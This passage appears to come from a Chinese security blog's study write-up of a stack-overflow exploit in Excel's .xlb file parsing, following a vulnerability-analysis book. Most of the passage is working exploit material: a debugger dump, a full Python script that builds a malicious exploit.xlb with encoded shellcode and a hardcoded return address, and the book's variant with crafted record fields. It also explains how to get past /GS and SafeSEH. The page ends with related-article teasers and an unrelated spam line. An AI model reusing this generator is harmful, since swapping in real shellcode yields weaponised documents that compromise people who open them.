    0:000> peax=00000000 ebx=00000002 ecx=a6a9c99e edx=3160ff00 esi=00000000 edi=0013c854eip=0013aae3 esp=0013aabc ebp=90909090 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=000002460013aae3 cc              int     3
    

    測試成功,現在可以替換成真正的shellcode了!

    3.2.3 使用真正的shellcode

    因為直接修改太麻煩了,所以這里使用腳本生成exploit文件,可以參考書中提供的exploit.py腳本:

    import sys def main():    fdR = open('src.xlb', 'rb+')    strTotal = fdR.read()    str1 = strTotal[:1536]   # 0x600    src1 = strTotal[1536:1653]   # 0x600 - 0x675    retn_addr = "\x67\x86\x86\x7c"     src2 = strTotal[1657:1693]   # 0x679 - 0x69d    zero = "\x00\x00\x00\x00"     # shellcode我沒改,還是原來原本中彈計算器的代碼    shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    shellcode += '\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41'    str2 = strTotal[1940:]        # 這里選擇的是src.xlb中仍舊在\x90范圍內,但比較靠后的一個位置     fdW= open('exploit.xlb', 'wb+')    fdW.write(str1)    fdW.write(src1)    fdW.write(retn_addr)    fdW.write(src2)    fdW.write(zero)    fdW.write(shellcode)    fdW.write(str2)     fdW.close()    fdR.close()    print '[-] Excel file generated' if __name__ == '__main__':    main()
    

    使用上述腳本生成的exploit.xlb,打開后可以成功彈出計算器。

    3.3 關于exploit.py這個文件

    從上面的腳本中可看出需要修改的數據并不多,這時由于src.xlb中本身已經包含了一些特殊數據,這部分內容不需要再做修改,所以我并沒有寫相關代碼。

    但是在書中原本提供的python腳本中,也提供了這一部分數據,可以在這里看一下:

    def main():     try:        fdR = open('src.xlb', 'rb+')        strTotal = fdR.read()        str1 = strTotal[:1556]    # 0x614        str2 = strTotal[2385:]    # 0x951         recordType = "\xA7\x00"     # 0xA7標志        recordLenght = "\x04\x00"   # 長度 0x4        field1 = "\xB0"                   field2 = "\x0F\x0C"         # 0xc0f 用于獲得超大的棧偏移        field3 = "\x00"        field4 = "\x3C\x00"         # 0x3c標志        field5 = "\x00\x03"         # 長度0x300 數據復制長度,導致發生溢出         record = recordType + recordLenght + field1 + field2 + field3 + field4 + field5         eip = "\xDF\xD6\xD5\x3B"    # Call ESP         # shellcode calc.exe 這里是shellcode代碼,同時在后面補充了\x90,保證總長度在0x320        shellcode = ...         fdW= open('exploit.xlb', 'wb+')        fdW.write(str1)        fdW.write(record)           fdW.write("\x41")     # pad        fdW.write(eip)                       fdW.write("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")      # 這里就是在保證判斷是否為0是能夠成功跳轉        fdW.write(shellcode)        fdW.write(str2)         fdW.close()        fdR.close()        print '[-] Excel file generated'    except IOError:        print '[*] Error : An IO error has occurred'        print '[-] Exiting ...'        sys.exit(-1)
    

    可以看到,這個腳本在偏移0x614之后就開始對src.xlb文件內容進行替換了,但是實際上前半部分替換的內容和src.xlb中原本的內容是一樣的,不過這樣顯然更清晰,因為這些內容也和漏洞利用相關。

    除此之外,腳本中返回地址放置的位置更加靠前,與我的測試環境不符,也正是由于這個原因,我在使用書中自帶的exploit.xlb時,沒能彈出計算器。

    總結

    在前面的幾周中,我根據漏洞原理的不同分析了幾種不同的漏洞,也遇到了IE漏洞這個難啃的骨頭,再回過頭來看棧溢出漏洞,能明顯感覺到分析的過程輕松了很多。

    漏洞的前半部分分析根據書中所說的“污點追蹤”的方法,確定了要找到0x300的數據來源,但是之后確定call_vulFun和valFun的調用關系,src.xlb文件中數據對于程序執行流程的影響,都需要一步步的在調試器中跟蹤,并分析IDA中的代碼,能夠分析下來,一定要感謝之前調試IE漏洞的經歷。

    之前開始學習的Exploit編寫系列教程,對于此次漏洞分析也很有幫助,可以感到對整個漏洞利用的流程掌握更加清晰,而且在調試過程中,會很快想到應該在哪個位置下斷點。

    關于漏洞利用方法,還有一點技巧是在看Abysssec的文章時注意到的,因為這個漏洞可以根據cbtn字段設置數據復制的目標地址,所以可以利用這個方法繞過程序中本身存在的/GS , SAFESEH保護手段。這也是漏洞利用文件中,cbtn要設置那么大的值的原因。

    dwordnv
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    很早就想專門寫一篇關于內網的文章,一直沒有騰出空來,萬萬沒想到,寫下這篇文章的時候,竟然是我來某實驗室實習的時間段:)
    前言這篇博文描述了我提交給 ZDI 的兩個 Adobe Reader 釋放后使用漏洞:一個來自 2021 年 6 月的補丁 (?關于這兩個bug的一個有趣方面是它們是相關的——第一個錯誤是通過模糊測試發現的,第二個錯誤是通過逆向工程發現的,它繞過第一個錯誤的補丁。
    這次分析了CVE-2012-3569 ovftool.exe中的格式化字符串漏洞。之前使用示例程序詳細分析過應該怎樣利用格式化字符串漏洞(參考資料2),而針對該漏洞,《漏洞戰爭》中并沒有進行詳細分析,因此我幾乎是從頭到尾按照自己的思路獨立完成了這個漏洞的分析以及利用,其中漏洞利用部分又占據了比較大的篇幅,因此對于格式化字符串漏洞在實際中的利用方式有了更深刻的了解。
    CVE-2021-24086漏洞分析
    2022-07-19 16:41:30
    漏洞信息2021年,Microsoft發布了一個安全補丁程序,修復了一個拒絕服務漏洞,編號為CVE-2021-24086,該漏洞影響每個Windows版本的IPv6堆棧,此問題是由于IPv6分片處理不當引起的。
    看雪論壇作者ID:LarryS
    單純的通過覆蓋seh handler跳轉是不夠的,我們首先需要bypass safeseh。
    漏洞的成因來自于Glibc在對重定向函數進行延遲綁定時,由于參數表被篡改導致的控制流篡改,本篇中,筆者會盡可能通過例題和實際現象來闡釋 延遲綁定的底層實現 和 ret2dlresolve。
    SnatchLoader是一種“downloader”類型的惡意軟件專門用于將惡意軟件分發(或加載)到受感染的計算機系統上。我們在2017年1月左右發現了該惡意軟件的網絡攻擊活動,該攻擊活動一直持續了幾個月的時間才慢慢消失。最近,我們的研究人員發現該惡意軟件又開始發起新一輪的網絡攻擊活動了,在此次網絡攻擊活動中我們捕獲到了該惡意軟件的更新,并發現該惡意軟件正被用于加載Ramnit銀行特洛伊木馬。此
    在一些開啟了 Hyper-V 的電腦上,RouterOS 可能無法在 VMWare Workstation 中模擬運行或啟動非常緩慢,如果遇到無法運行的情況,請酌情考慮關閉 Hyper-V,如果能成功運行但是啟動緩慢,可以及時拍攝快照。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类